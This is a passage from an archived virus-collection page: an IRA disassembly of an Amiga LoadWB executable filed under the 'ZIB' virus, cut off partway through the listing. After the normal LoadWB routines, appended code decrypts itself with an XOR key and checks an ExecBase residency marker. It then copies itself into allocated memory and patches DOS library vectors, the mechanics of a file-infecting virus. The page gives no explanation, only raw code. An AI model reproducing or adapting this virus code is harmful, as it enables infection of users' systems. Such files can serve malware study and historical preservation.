home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / z / ZIB / LoadWB3.asm < prev    next >
Assembly Source File  |  1989-02-22  |  26KB  |  990 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $C8DBDFCA
  6.  
  7.  
  8.  
  9.  
  10.     SECTION S_0,CODE
  11.  
  12. SECSTRT_0:
  13.     SUBA    #$0040,A7        ;000: 9EFC0040
  14.     MOVEM.L    D2-D3/D5-D7/A2-A3/A5-A6,-(A7) ;004: 48E73736
  15.     MOVEA.L    (ABSEXECBASE).W,A5    ;008: 2A780004
  16.     CLR.L    96(A7)            ;00C: 42AF0060
  17.     MOVEQ    #0,D7            ;010: 7E00
  18.     MOVEQ    #0,D6            ;012: 7C00
  19.     MOVEQ    #20,D5            ;014: 7A14
  20.     CLR.L    92(A7)            ;016: 42AF005C
  21.     MOVE.L    A5,48(A7)        ;01A: 2F4D0030
  22.     LEA    LAB_001C(PC),A1        ;01E: 43FA02C8
  23.     MOVEQ    #37,D0            ;022: 7025
  24.     MOVEA.L    A5,A6            ;024: 2C4D
  25.     JSR    -552(A6)        ;026: 4EAEFDD8
  26.     MOVEA.L    D0,A2            ;02A: 2440
  27.     MOVE.L    D0,36(A7)        ;02C: 2F400024
  28.     BNE.S    LAB_0000        ;030: 660E
  29.     MOVEA.L    276(A5),A0        ;032: 206D0114
  30.     MOVEQ    #122,D1            ;036: 727A
  31.     MOVE.L    D1,148(A0)        ;038: 21410094
  32.     BRA    LAB_001B        ;03C: 60000280
  33. LAB_0000:
  34.     LEA    LAB_001D(PC),A1        ;040: 43FA02B2
  35.     MOVEQ    #39,D0            ;044: 7027
  36.     JSR    -552(A6)        ;046: 4EAEFDD8
  37.     MOVE.L    D0,40(A7)        ;04A: 2F400028
  38.     BNE.S    LAB_0001        ;04E: 6618
  39.     LEA    LAB_001E(PC),A0        ;050: 41FA02B4
  40.     MOVE.L    A0,D2            ;054: 2408
  41.     MOVEQ    #122,D1            ;056: 727A
  42.     MOVEA.L    A2,A6            ;058: 2C4A
  43.     JSR    -474(A6)        ;05A: 4EAEFE26
  44.     MOVEQ    #122,D1            ;05E: 727A
  45.     JSR    -462(A6)        ;060: 4EAEFE32
  46.     BRA    LAB_001A        ;064: 60000250
  47. LAB_0001:
  48.     MOVEQ    #23,D0            ;068: 7017
  49.     MOVEQ    #0,D1            ;06A: 7200
  50.     LEA    54(A7),A0        ;06C: 41EF0036
  51. LAB_0002:
  52.     MOVE.B    D1,(A0)+        ;070: 10C1
  53.     DBF    D0,LAB_0002        ;072: 51C8FFFC
  54.     LEA    LAB_001F(PC),A0        ;076: 41FA0296
  55.     MOVE.L    A0,D1            ;07A: 2208
  56.     LEA    54(A7),A0        ;07C: 41EF0036
  57.     MOVE.L    A0,D2            ;080: 2408
  58.     MOVEQ    #0,D3            ;082: 7600
  59.     MOVEA.L    A2,A6            ;084: 2C4A
  60.     JSR    -798(A6)        ;086: 4EAEFCE2
  61.     MOVE.L    D0,44(A7)        ;08A: 2F40002C
  62.     BNE.S    LAB_0003        ;08E: 6614
  63.     JSR    -132(A6)        ;090: 4EAEFF7C
  64.     MOVE.L    D0,D1            ;094: 2200
  65.     LEA    LAB_001E(PC),A0        ;096: 41FA026E
  66.     MOVE.L    A0,D2            ;09A: 2408
  67.     JSR    -474(A6)        ;09C: 4EAEFE26
  68.     BRA    LAB_0019        ;0A0: 6000020A
  69. LAB_0003:
  70.     TST.L    54(A7)            ;0A4: 4AAF0036
  71.     BEQ.S    LAB_0004        ;0A8: 6702
  72.     MOVEQ    #1,D6            ;0AA: 7C01
  73. LAB_0004:
  74.     TST.L    58(A7)            ;0AC: 4AAF003A
  75.     BEQ.S    LAB_0005        ;0B0: 6704
  76.     BSET    #1,D6            ;0B2: 08C60001
  77. LAB_0005:
  78.     TST.L    62(A7)            ;0B6: 4AAF003E
  79.     BEQ.S    LAB_0006        ;0BA: 6704
  80.     BSET    #2,D6            ;0BC: 08C60002
  81. LAB_0006:
  82.     TST.L    66(A7)            ;0C0: 4AAF0042
  83.     BEQ.S    LAB_0007        ;0C4: 6704
  84.     BSET    #3,D6            ;0C6: 08C60003
  85. LAB_0007:
  86.     TST.L    70(A7)            ;0CA: 4AAF0046
  87.     BEQ.S    LAB_0008        ;0CE: 6704
  88.     BSET    #1,D6            ;0D0: 08C60001
  89. LAB_0008:
  90.     TST.L    74(A7)            ;0D4: 4AAF004A
  91.     BEQ.S    LAB_0009        ;0D8: 6704
  92.     BSET    #1,D6            ;0DA: 08C60001
  93. LAB_0009:
  94.     MOVEQ    #0,D5            ;0DE: 7A00
  95.     SUBA.L    A1,A1            ;0E0: 93C9
  96.     MOVEA.L    A5,A6            ;0E2: 2C4D
  97.     JSR    -294(A6)        ;0E4: 4EAEFEDA
  98.     MOVEA.L    D0,A0            ;0E8: 2040
  99.     MOVE.L    172(A0),D1        ;0EA: 222800AC
  100.     ASL.L    #2,D1            ;0EE: E581
  101.     MOVEA.L    D1,A0            ;0F0: 2041
  102.     MOVE.L    A0,D0            ;0F2: 2008
  103.     BEQ.S    LAB_000A        ;0F4: 672C
  104.     TST.L    8(A0)            ;0F6: 4AA80008
  105.     BEQ.S    LAB_000A        ;0FA: 6726
  106.     MOVEA.L    36(A7),A2        ;0FC: 246F0024
  107.     MOVE.L    8(A0),D0        ;100: 20280008
  108.     MOVEA.L    A2,A0            ;104: 204A
  109.     BSR    LAB_0029        ;106: 6100026E
  110.     MOVE.L    D0,D7            ;10A: 2E00
  111.     BNE.S    LAB_000A        ;10C: 6614
  112.     MOVEA.L    A2,A6            ;10E: 2C4A
  113.     JSR    -132(A6)        ;110: 4EAEFF7C
  114.     MOVE.L    D0,D1            ;114: 2200
  115.     LEA    LAB_001E(PC),A0        ;116: 41FA01EE
  116.     MOVE.L    A0,D2            ;11A: 2408
  117.     JSR    -474(A6)        ;11C: 4EAEFE26
  118.     MOVEQ    #10,D5            ;120: 7A0A
  119. LAB_000A:
  120.     MOVEA.L    36(A7),A2        ;122: 246F0024
  121.     MOVEQ    #10,D0            ;126: 700A
  122.     CMP.L    D0,D5            ;128: BA80
  123.     BGE    LAB_0018        ;12A: 6C000176
  124.     TST.L    74(A7)            ;12E: 4AAF004A
  125.     BEQ.S    LAB_000B        ;132: 6720
  126.     LEA    LAB_0022(PC),A1        ;134: 43FA0214
  127.     MOVEQ    #37,D0            ;138: 7025
  128.     MOVEA.L    A5,A6            ;13A: 2C4D
  129.     JSR    -552(A6)        ;13C: 4EAEFDD8
  130.     MOVE.L    D0,96(A7)        ;140: 2F400060
  131.     MOVEA.L    D0,A0            ;144: 2040
  132.     BSR    LAB_0035        ;146: 610002F4
  133.     TST.L    D0            ;14A: 4A80
  134.     BNE.S    LAB_000B        ;14C: 6606
  135.     MOVEQ    #1,D0            ;14E: 7001
  136.     MOVE.L    D0,92(A7)        ;150: 2F40005C
  137. LAB_000B:
  138.     LEA    82(A7),A0        ;154: 41EF0052
  139.     LEA    78(A7),A6        ;158: 4DEF004E
  140.     MOVE.L    A0,(A6)+        ;15C: 2CC8
  141.     CLR.L    (A6)+            ;15E: 429E
  142.     LEA    78(A7),A0        ;160: 41EF004E
  143.     MOVE.L    A0,(A6)+        ;164: 2CC8
  144.     TST.L    70(A7)            ;166: 4AAF0046
  145.     BEQ.S    LAB_000F        ;16A: 6762
  146.     MOVEA.L    (ABSEXECBASE).W,A3    ;16C: 26780004
  147.     MOVEQ    #6,D1            ;170: 7206
  148.     MOVEA.L    A2,A6            ;172: 2C4A
  149.     JSR    -654(A6)        ;174: 4EAEFD72
  150.     MOVEA.L    D0,A5            ;178: 2A40
  151.     TST.L    D0            ;17A: 4A80
  152.     BEQ.S    LAB_000F        ;17C: 6750
  153.     BRA.S    LAB_000E        ;17E: 6032
  154. LAB_000C:
  155.     MOVEQ    #12,D0            ;180: 700C
  156.     MOVE.L    #$00010001,D1        ;182: 223C00010001
  157.     MOVEA.L    A3,A6            ;188: 2C4B
  158.     JSR    -198(A6)        ;18A: 4EAEFF3A
  159.     MOVEA.L    D0,A2            ;18E: 2440
  160.     TST.L    D0            ;190: 4A80
  161.     BEQ.S    LAB_000E        ;192: 671E
  162.     MOVE.L    A5,D1            ;194: 220D
  163.     MOVEA.L    36(A7),A6        ;196: 2C6F0024
  164.     JSR    -672(A6)        ;19A: 4EAEFD60
  165.     TST    D0            ;19E: 4A40
  166.     BEQ.S    LAB_000D        ;1A0: 6704
  167.     MOVE.L    A5,8(A2)        ;1A2: 254D0008
  168. LAB_000D:
  169.     LEA    78(A7),A0        ;1A6: 41EF004E
  170.     MOVEA.L    A2,A1            ;1AA: 224A
  171.     MOVEA.L    A3,A6            ;1AC: 2C4B
  172.     JSR    -240(A6)        ;1AE: 4EAEFF10
  173. LAB_000E:
  174.     MOVEA.L    36(A7),A2        ;1B2: 246F0024
  175.     MOVE.L    A5,D1            ;1B6: 220D
  176.     MOVEQ    #4,D2            ;1B8: 7404
  177.     MOVEA.L    A2,A6            ;1BA: 2C4A
  178.     JSR    -690(A6)        ;1BC: 4EAEFD4E
  179.     MOVEA.L    D0,A5            ;1C0: 2A40
  180.     TST.L    D0            ;1C2: 4A80
  181.     BNE.S    LAB_000C        ;1C4: 66BA
  182.     MOVEQ    #6,D1            ;1C6: 7206
  183.     MOVEA.L    A2,A6            ;1C8: 2C4A
  184.     JSR    -660(A6)        ;1CA: 4EAEFD6C
  185. LAB_000F:
  186.     MOVEQ    #0,D1            ;1CE: 7200
  187.     MOVEA.L    A2,A6            ;1D0: 2C4A
  188.     JSR    -516(A6)        ;1D2: 4EAEFDFC
  189.     MOVEA.L    D0,A2            ;1D6: 2440
  190.     MOVEA.L    36(A7),A5        ;1D8: 2A6F0024
  191.     MOVEQ    #0,D1            ;1DC: 7200
  192.     MOVEA.L    A5,A6            ;1DE: 2C4D
  193.     JSR    -126(A6)        ;1E0: 4EAEFF82
  194.     MOVE.L    D0,D2            ;1E4: 2400
  195.     MOVE.L    D6,D0            ;1E6: 2006
  196.     MOVE.L    D7,D1            ;1E8: 2207
  197.     MOVEA.L    40(A7),A6        ;1EA: 2C6F0028
  198.     JSR    -42(A6)            ;1EE: 4EAEFFD6
  199.     TST.L    D0            ;1F2: 4A80
  200.     BNE.S    LAB_0010        ;1F4: 660E
  201.     MOVE.L    D7,D0            ;1F6: 2007
  202.     MOVEA.L    A5,A0            ;1F8: 204D
  203.     BSR    LAB_0032        ;1FA: 61000202
  204.     MOVEQ    #1,D0            ;1FE: 7001
  205.     MOVE.L    D0,92(A7)        ;200: 2F40005C
  206. LAB_0010:
  207.     MOVE.L    D2,D1            ;204: 2202
  208.     MOVEA.L    A5,A6            ;206: 2C4D
  209.     JSR    -126(A6)        ;208: 4EAEFF82
  210.     MOVE.L    A2,D1            ;20C: 220A
  211.     JSR    -516(A6)        ;20E: 4EAEFDFC
  212.     MOVEA.L    36(A7),A2        ;212: 246F0024
  213.     TST.L    70(A7)            ;216: 4AAF0046
  214.     BEQ.S    LAB_0014        ;21A: 674A
  215.     MOVEA.L    (ABSEXECBASE).W,A5    ;21C: 2A780004
  216.     MOVEQ    #6,D1            ;220: 7206
  217.     MOVEA.L    A2,A6            ;222: 2C4A
  218.     JSR    -654(A6)        ;224: 4EAEFD72
  219.     TST.L    D0            ;228: 4A80
  220.     BEQ.S    LAB_0014        ;22A: 673A
  221.     MOVEA.L    36(A7),A3        ;22C: 266F0024
  222.     BRA.S    LAB_0013        ;230: 6018
  223. LAB_0011:
  224.     MOVE.L    8(A2),D0        ;232: 202A0008
  225.     BEQ.S    LAB_0012        ;236: 6708
  226.     MOVE.L    D0,D1            ;238: 2200
  227.     MOVEA.L    A3,A6            ;23A: 2C4B
  228.     JSR    -678(A6)        ;23C: 4EAEFD5A
  229. LAB_0012:
  230.     MOVEA.L    A2,A1            ;240: 224A
  231.     MOVEQ    #12,D0            ;242: 700C
  232.     MOVEA.L    A5,A6            ;244: 2C4D
  233.     JSR    -210(A6)        ;246: 4EAEFF2E
  234. LAB_0013:
  235.     LEA    78(A7),A0        ;24A: 41EF004E
  236.     MOVEA.L    A5,A6            ;24E: 2C4D
  237.     JSR    -258(A6)        ;250: 4EAEFEFE
  238.     MOVEA.L    D0,A2            ;254: 2440
  239.     TST.L    D0            ;256: 4A80
  240.     BNE.S    LAB_0011        ;258: 66D8
  241.     MOVEA.L    36(A7),A2        ;25A: 246F0024
  242.     MOVEQ    #6,D1            ;25E: 7206
  243.     MOVEA.L    A2,A6            ;260: 2C4A
  244.     JSR    -660(A6)        ;262: 4EAEFD6C
  245. LAB_0014:
  246.     MOVEA.L    48(A7),A5        ;266: 2A6F0030
  247.     TST.L    74(A7)            ;26A: 4AAF004A
  248.     BEQ.S    LAB_0017        ;26E: 672A
  249.     MOVEQ    #0,D2            ;270: 7400
  250.     MOVEA.L    96(A7),A3        ;272: 266F0060
  251.     MOVE.L    A3,D0            ;276: 200B
  252.     BEQ.S    LAB_0015        ;278: 670E
  253.     LEA    LAB_0026(PC),A0        ;27A: 41FA00F0
  254.     MOVEA.L    A3,A6            ;27E: 2C4B
  255.     JSR    -138(A6)        ;280: 4EAEFF76
  256.     MOVE    D0,D2            ;284: 3400
  257.     EXT.L    D2            ;286: 48C2
  258. LAB_0015:
  259.     TST.L    D2            ;288: 4A82
  260.     BNE.S    LAB_0016        ;28A: 6606
  261.     MOVEQ    #1,D0            ;28C: 7001
  262.     MOVE.L    D0,92(A7)        ;28E: 2F40005C
  263. LAB_0016:
  264.     MOVEA.L    A3,A1            ;292: 224B
  265.     MOVEA.L    A5,A6            ;294: 2C4D
  266.     JSR    -414(A6)        ;296: 4EAEFE62
  267. LAB_0017:
  268.     TST.L    92(A7)            ;29A: 4AAF005C
  269.     BEQ.S    LAB_0018        ;29E: 6702
  270.     MOVEQ    #5,D5            ;2A0: 7A05
  271. LAB_0018:
  272.     MOVE.L    44(A7),D1        ;2A2: 222F002C
  273.     MOVEA.L    A2,A6            ;2A6: 2C4A
  274.     JSR    -858(A6)        ;2A8: 4EAEFCA6
  275. LAB_0019:
  276.     MOVEA.L    40(A7),A1        ;2AC: 226F0028
  277.     MOVEA.L    A5,A6            ;2B0: 2C4D
  278.     JSR    -414(A6)        ;2B2: 4EAEFE62
  279. LAB_001A:
  280.     MOVEA.L    A2,A1            ;2B6: 224A
  281.     MOVEA.L    A5,A6            ;2B8: 2C4D
  282.     JSR    -414(A6)        ;2BA: 4EAEFE62
  283. LAB_001B:
  284.     MOVE.L    D5,D0            ;2BE: 2005
  285.     MOVEM.L    (A7)+,D2-D3/D5-D7/A2-A3/A5-A6 ;2C0: 4CDF6CEC
  286.     ADDA    #$0040,A7        ;2C4: DEFC0040
  287.     RTS                ;2C8: 4E75
  288.     MOVEA.L    (A6),A2            ;2CA: 2456
  289.     DC.W    $4552            ;2CC
  290.     MOVE    -(A0),D5        ;2CE: 3A20
  291.     DC.W    $6C6F            ;2D0
  292.     BSR.S    LAB_0021+2        ;2D2: 6164
  293.     DC.W    $7762            ;2D4
  294.     DC.W    $2034            ;2D6
  295.     MOVE    12832(A6),D1        ;2D8: 322E3220
  296.     DC.W    $2832            ;2DC
  297.     MOVE    14126(A6),-(A1)        ;2DE: 332E372E
  298.     DC.W    $3936            ;2E2
  299.     MOVE.L    A2,-(A4)        ;2E4: 290A
  300.     BTST    D6,D0            ;2E6: 0D00
  301. LAB_001C:
  302.     DC.W    $646F            ;2E8
  303.     DC.W    $732E            ;2EA
  304.     DC.W    $6C69            ;2EC
  305.     BHI.S    LAB_0024        ;2EE: 6272
  306.     BSR.S    LAB_0025        ;2F0: 6172
  307.     DC.W    $7900            ;2F2
  308. LAB_001D:
  309.     DC.W    $776F            ;2F4
  310.     MOVEQ    #107,D1            ;2F6: 726B
  311.     DC.W    $6265            ;2F8
  312.     DC.W    $6E63            ;2FA
  313.     BVC.S    LAB_0020        ;2FC: 682E
  314.     DC.W    $6C69            ;2FE
  315.     BHI.S    LAB_0028        ;300: 6272
  316.     BSR.S    LAB_0029        ;302: 6172
  317.     DC.W    $7900            ;304
  318. LAB_001E:
  319.     DC.W    $6C6F            ;306
  320.     BSR.S    LAB_0027        ;308: 6164
  321.     DC.W    $7762            ;30A
  322.     DC.W    $0000            ;30C
  323. LAB_001F:
  324.     NEG    D5            ;30E: 4445
  325.     CLR    (A5)            ;310: 4255
  326.     DC.W    $473D            ;312
  327.     MOVE.L    D4,17730(A6)        ;314: 2D444542
  328.     SUBQ    #2,D7            ;318: 5547
  329.     MOVE.L    (A3),11332(A7)        ;31A: 2F532C44
  330.     DC.W    $454C            ;31E
  331.     DC.W    $4159            ;320
  332.     DC.W    $2F53            ;322
  333.     MOVEA.L    D3,A6            ;324: 2C43
  334.     DC.W    $4C45            ;326
  335.     DC.W    $414E            ;328
  336.     SUBQ    #2,(A0)            ;32A: 5550
  337. LAB_0020:
  338.     MOVE.L    (A3),11342(A7)        ;32C: 2F532C4E
  339.     DC.W    $4557            ;330
  340.     ADDQ    #8,D1            ;332: 5041
  341.     ADDQ    #2,A0            ;334: 5448
  342. LAB_0021:
  343.     MOVE.L    (A3),11336(A7)        ;336: 2F532C48
  344.     DC.W    $4944            ;33A
  345.     DC.W    $452F            ;33C
  346.     SUBQ.B    #1,21057(A4)        ;33E: 532C5241
  347.     DC.W    $4D49            ;342
  348.     DC.W    $434F            ;344
  349.     DC.W    $4E2F            ;346
  350.     SUBQ.B    #1,D0            ;348: 5300
  351. LAB_0022:
  352.     DC.W    $6963            ;34A
  353.     BLE.S    LAB_002B+2        ;34C: 6F6E
  354.     MOVEA.L    26978(A4),A7        ;34E: 2E6C6962
  355.     MOVEQ    #97,D1            ;352: 7261
  356.     MOVEQ    #121,D1            ;354: 7279
  357.     DC.W    $0000            ;356
  358. LAB_0023:
  359.     DC.W    $454E            ;358
  360.     DC.W    $563A            ;35A
  361.     DC.W    $5379            ;35C
  362.     DC.W    $732F            ;35E
  363.     DC.W    $6465            ;360
  364. LAB_0024:
  365.     DC.W    $665F            ;362
  366. LAB_0025:
  367.     MOVEQ    #97,D1            ;364: 7261
  368.     BLT.S    LAB_002C+2        ;366: 6D64
  369.     DC.W    $6973            ;368
  370.     DC.W    $6B00            ;36A
  371. LAB_0026:
  372.     ADDQ    #1,D1            ;36C: 5241
  373. LAB_0027:
  374.     DC.W    $4D3A            ;36E
  375.     DC.W    $4469            ;370
  376.     DC.W    $736B            ;372
  377. LAB_0028:
  378.     DC.W    $0000            ;374
  379. LAB_0029:
  380.     SUBA    #$000C,A7        ;376: 9EFC000C
  381.     MOVEM.L    D7/A2-A3/A5-A6,-(A7)    ;37A: 48E70136
  382.     MOVE.L    A0,28(A7)        ;37E: 2F48001C
  383.     MOVEA.L    (ABSEXECBASE).W,A1    ;382: 22780004
  384.     SUBA.L    A5,A5            ;386: 9BCD
  385.     SUBA.L    A3,A3            ;388: 97CB
  386.     MOVEQ    #0,D7            ;38A: 7E00
  387.     MOVE.L    D0,24(A7)        ;38C: 2F400018
  388.     ASL.L    #2,D0            ;390: E580
  389.     MOVEA.L    D0,A2            ;392: 2440
  390.     MOVE.L    A1,20(A7)        ;394: 2F490014
  391.     BRA.S    LAB_002E        ;398: 603E
  392. LAB_002A:
  393.     MOVEA.L    20(A7),A6        ;39A: 2C6F0014
  394.     MOVEQ    #8,D0            ;39E: 7008
  395.     MOVE.L    #$00010001,D1        ;3A0: 223C00010001
  396.     JSR    -198(A6)        ;3A6: 4EAEFF3A
  397.     MOVEA.L    D0,A5            ;3AA: 2A40
  398.     TST.L    D0            ;3AC: 4A80
  399.     BEQ.S    LAB_002D        ;3AE: 6722
  400.     MOVE.L    A5,D1            ;3B0: 220D
  401.     ASR.L    #2,D1            ;3B2: E481
  402.     MOVE.L    A3,D0            ;3B4: 200B
  403.     BEQ.S    LAB_002B+2        ;3B6: 6704
  404.     MOVE.L    D1,(A3)            ;3B8: 2681
  405. LAB_002B:
  406.     CMPI    #$2E01,D0        ;3BA: 0C402E01
  407.     MOVE.L    4(A2),D1        ;3BE: 222A0004
  408.     MOVEA.L    28(A7),A6        ;3C2: 2C6F001C
  409.     JSR    -96(A6)            ;3C6: 4EAEFFA0
  410. LAB_002C:
  411.     MOVE.L    D0,4(A5)        ;3CA: 2B400004
  412.     BEQ.S    LAB_002F        ;3CE: 670C
  413.     MOVEA.L    A5,A3            ;3D0: 264D
  414. LAB_002D:
  415.     MOVE.L    (A2),D0            ;3D2: 2012
  416.     ASL.L    #2,D0            ;3D4: E580
  417.     MOVEA.L    D0,A2            ;3D6: 2440
  418. LAB_002E:
  419.     MOVE.L    A2,D0            ;3D8: 200A
  420.     BNE.S    LAB_002A        ;3DA: 66BE
  421. LAB_002F:
  422.     MOVE.L    A5,D0            ;3DC: 200D
  423.     BEQ.S    LAB_0030        ;3DE: 6706
  424.     TST.L    4(A5)            ;3E0: 4AAD0004
  425.     BNE.S    LAB_0031        ;3E4: 660C
  426. LAB_0030:
  427.     MOVE.L    D7,D0            ;3E6: 2007
  428.     MOVEA.L    28(A7),A0        ;3E8: 206F001C
  429.     BSR    LAB_0032        ;3EC: 61000010
  430.     MOVEQ    #0,D7            ;3F0: 7E00
  431. LAB_0031:
  432.     MOVE.L    D7,D0            ;3F2: 2007
  433.     MOVEM.L    (A7)+,D7/A2-A3/A5-A6    ;3F4: 4CDF6C80
  434.     ADDA    #$000C,A7        ;3F8: DEFC000C
  435.     BRA.S    LAB_0037        ;3FC: 6072
  436. LAB_0032:
  437.     SUBQ    #4,A7            ;3FE: 594F
  438.     MOVEM.L    A2-A3/A5-A6,-(A7)    ;400: 48E70036
  439.     MOVE.L    A0,16(A7)        ;404: 2F480010
  440.     MOVEA.L    (ABSEXECBASE).W,A5    ;408: 2A780004
  441.     ASL.L    #2,D0            ;40C: E580
  442.     MOVEA.L    D0,A3            ;40E: 2640
  443.     BRA.S    LAB_0034        ;410: 601E
  444. LAB_0033:
  445.     MOVEA.L    A3,A2            ;412: 244B
  446.     MOVE.L    (A2),D0            ;414: 2012
  447.     ASL.L    #2,D0            ;416: E580
  448.     MOVEA.L    D0,A3            ;418: 2640
  449.     MOVE.L    4(A2),D1        ;41A: 222A0004
  450.     MOVEA.L    16(A7),A6        ;41E: 2C6F0010
  451.     JSR    -90(A6)            ;422: 4EAEFFA6
  452.     MOVEA.L    A2,A1            ;426: 224A
  453.     MOVEQ    #8,D0            ;428: 7008
  454.     MOVEA.L    A5,A6            ;42A: 2C4D
  455.     JSR    -210(A6)        ;42C: 4EAEFF2E
  456. LAB_0034:
  457.     MOVE.L    A3,D0            ;430: 200B
  458.     BNE.S    LAB_0033        ;432: 66DE
  459.     MOVEM.L    (A7)+,A2-A3/A5-A6    ;434: 4CDF6C00
  460.     ADDQ    #4,A7            ;438: 584F
  461.     BRA.S    LAB_0037        ;43A: 6034
  462. LAB_0035:
  463.     MOVEM.L    D7/A6,-(A7)        ;43C: 48E70102
  464.     MOVEA.L    A0,A1            ;440: 2248
  465.     MOVEQ    #0,D7            ;442: 7E00
  466.     MOVE.L    A1,D0            ;444: 2009
  467.     BEQ.S    LAB_0036        ;446: 671C
  468.     LEA    LAB_0023(PC),A0        ;448: 41FAFF0E
  469.     MOVEA.L    A1,A6            ;44C: 2C49
  470.     JSR    -78(A6)            ;44E: 4EAEFFB2
  471.     TST.L    D0            ;452: 4A80
  472.     BEQ.S    LAB_0036        ;454: 670E
  473.     MOVEA.L    D0,A1            ;456: 2240
  474.     LEA    LAB_0026(PC),A0        ;458: 41FAFF12
  475.     JSR    -84(A6)            ;45C: 4EAEFFAC
  476.     MOVE    D0,D7            ;460: 3E00
  477.     EXT.L    D7            ;462: 48C7
  478. LAB_0036:
  479.     MOVE.L    D7,D0            ;464: 2007
  480.     MOVEM.L    (A7)+,D7/A6        ;466: 4CDF4080
  481.     BRA.S    LAB_0037        ;46A: 6004
  482.     MOVEA.L    (ABSEXECBASE).W,A6    ;46C: 2C780004
  483. LAB_0037:
  484.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;470: 48E7FFFE
  485.     BSR.S    LAB_0038        ;474: 6108
  486.     BSR.S    LAB_003C        ;476: 613E
  487.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;478: 4CDF7FFF
  488.     RTS                ;47C: 4E75
  489. LAB_0038:
  490.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;47E: 48E7FFFE
  491.     LEA    LAB_0069(PC),A0        ;482: 41FA0422
  492.     DC.W    $43FA            ;486
  493.     DC.W    $04D4            ;488
  494. LAB_0039:
  495.     EORI    #$BABE,(A0)+        ;48A: 0A58BABE
  496.     CMPA.L    A0,A1            ;48E: B3C8
  497.     BNE.S    LAB_0039        ;490: 66F8
  498.     MOVEA.L    (ABSEXECBASE).W,A6    ;492: 2C780004
  499.     JSR    -636(A6)        ;496: 4EAEFD84
  500.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;49A: 4CDF7FFF
  501.     RTS                ;49E: 4E75
  502. LAB_003A:
  503.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;4A0: 48E77FFE
  504.     MOVE.L    #$00050001,D1        ;4A4: 223C00050001
  505.     JSR    -684(A6)        ;4AA: 4EAEFD54
  506.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;4AE: 4CDF7FFE
  507.     TST.L    D0            ;4B2: 4A80
  508. LAB_003B:
  509.     RTS                ;4B4: 4E75
  510. LAB_003C:
  511.     MOVEA.L    (ABSEXECBASE).W,A6    ;4B6: 2C780004
  512. LAB_003D:
  513.     CMPI.L    #$54525369,514(A6)    ;4BA: 0CAE545253690202
  514.     BEQ.S    LAB_003B        ;4C2: 67F0
  515.     MOVE.L    #$00000200,D0        ;4C4: 203C00000200
  516.     BSR.S    LAB_003A        ;4CA: 61D4
  517.     BEQ.S    LAB_003B        ;4CC: 67E6
  518.     LEA    LAB_0037(PC),A1        ;4CE: 43FAFFA0
  519.     MOVE.L    D0,1062(A1)        ;4D2: 23400426
  520.     MOVE.L    #$00000522,D0        ;4D6: 203C00000522
  521.     BSR.S    LAB_003A        ;4DC: 61C2
  522.     BEQ.S    LAB_003B        ;4DE: 67D4
  523.     MOVEA.L    D0,A0            ;4E0: 2040
  524.     MOVE    #$04EB,D1        ;4E2: 323C04EB
  525. LAB_003E:
  526.     MOVE.B    (A1)+,(A0)+        ;4E6: 10D9
  527.     DBF    D1,LAB_003E        ;4E8: 51C9FFFC
  528.     MOVEA.L    D0,A0            ;4EC: 2040
  529.     PEA    134(A0)            ;4EE: 48680086
  530.     JMP    -636(A6)        ;4F2: 4EEEFD84
  531.     LEA    LAB_0068(PC),A1        ;4F6: 43FA03A2
  532.     MOVE.L    #$10020019,198(A1)    ;4FA: 237C1002001900C6
  533.     MOVEQ    #37,D0            ;502: 7025
  534.     JSR    -552(A6)        ;504: 4EAEFDD8
  535.     TST.L    D0            ;508: 4A80
  536.     BEQ.S    LAB_003B        ;50A: 67A8
  537.     DC.W    $43FA            ;50C
  538.     DC.W    $044E            ;50E
  539.     MOVE.L    D0,(A1)            ;510: 2280
  540.     MOVEA.L    D0,A2            ;512: 2440
  541.     MOVEA.L    -148(A2),A3        ;514: 266AFF6C
  542.     LEA    LAB_0040(PC),A4        ;518: 49FA0044
  543.     MOVE.L    -162(A4),D1        ;51C: 222CFF5E
  544.     CMP.L    -162(A3),D1        ;520: B2ABFF5E
  545.     BEQ.S    LAB_003F        ;524: 6708
  546.     MOVE.L    A3,1042(A4)        ;526: 294B0412
  547.     MOVE.L    A4,-148(A2)        ;52A: 254CFF6C
  548. LAB_003F:
  549.     MOVE.L    LAB_003D+2(PC),514(A6)    ;52E: 2D7AFF8C0202
  550.     LEA    LAB_006B(PC),A1        ;534: 43FA0384
  551.     JSR    -294(A6)        ;538: 4EAEFEDA
  552.     TST.L    D0            ;53C: 4A80
  553.     BNE.S    LAB_0042        ;53E: 6634
  554.     LEA    LAB_006B(PC),A1        ;540: 43FA0378
  555.     MOVE.L    A1,D1            ;544: 2209
  556.     CLR.L    D2            ;546: 4282
  557.     LEA    LAB_0054(PC),A1        ;548: 43FA01CA
  558.     MOVE.L    A1,D3            ;54C: 2609
  559.     LSR.L    #2,D3            ;54E: E48B
  560.     MOVE.L    #$00000400,D4        ;550: 283C00000400
  561.     DC.W    $2C7A            ;556
  562.     DC.W    $0404            ;558
  563.     JMP    -138(A6)        ;55A: 4EEEFF76
  564. LAB_0040:
  565.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;55E: 48E7FFFE
  566.     DC.W    $4BFA            ;562
  567.     DC.W    $0428            ;564
  568.     TST.L    (A5)            ;566: 4A95
  569.     BNE.S    LAB_0041        ;568: 6602
  570.     BSR.S    LAB_0044        ;56A: 6110
  571. LAB_0041:
  572.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;56C: 4CDF7FFF
  573.     DC.W    $2F3A            ;570
  574.     DC.W    $03FE            ;572
  575. LAB_0042:
  576.     RTS                ;574: 4E75
  577. LAB_0043:
  578.     MOVE.L    D7,D1            ;576: 2207
  579.     JMP    -90(A6)            ;578: 4EEEFFA6
  580. LAB_0044:
  581.     DC.W    $2C7A            ;57C
  582.     BSET    D1,(A6)+        ;57E: 03DE
  583.     DC.W    $41FA            ;580
  584.     BSET    D1,-127(A2,D2.W)    ;582: 03F22081
  585.     MOVEQ    #-1,D2            ;586: 74FF
  586.     JSR    -84(A6)            ;588: 4EAEFFAC
  587.     TST.L    D0            ;58C: 4A80
  588.     BEQ.S    LAB_0042        ;58E: 67E4
  589.     MOVE.L    D0,D7            ;590: 2E00
  590.     MOVE.L    D0,D1            ;592: 2200
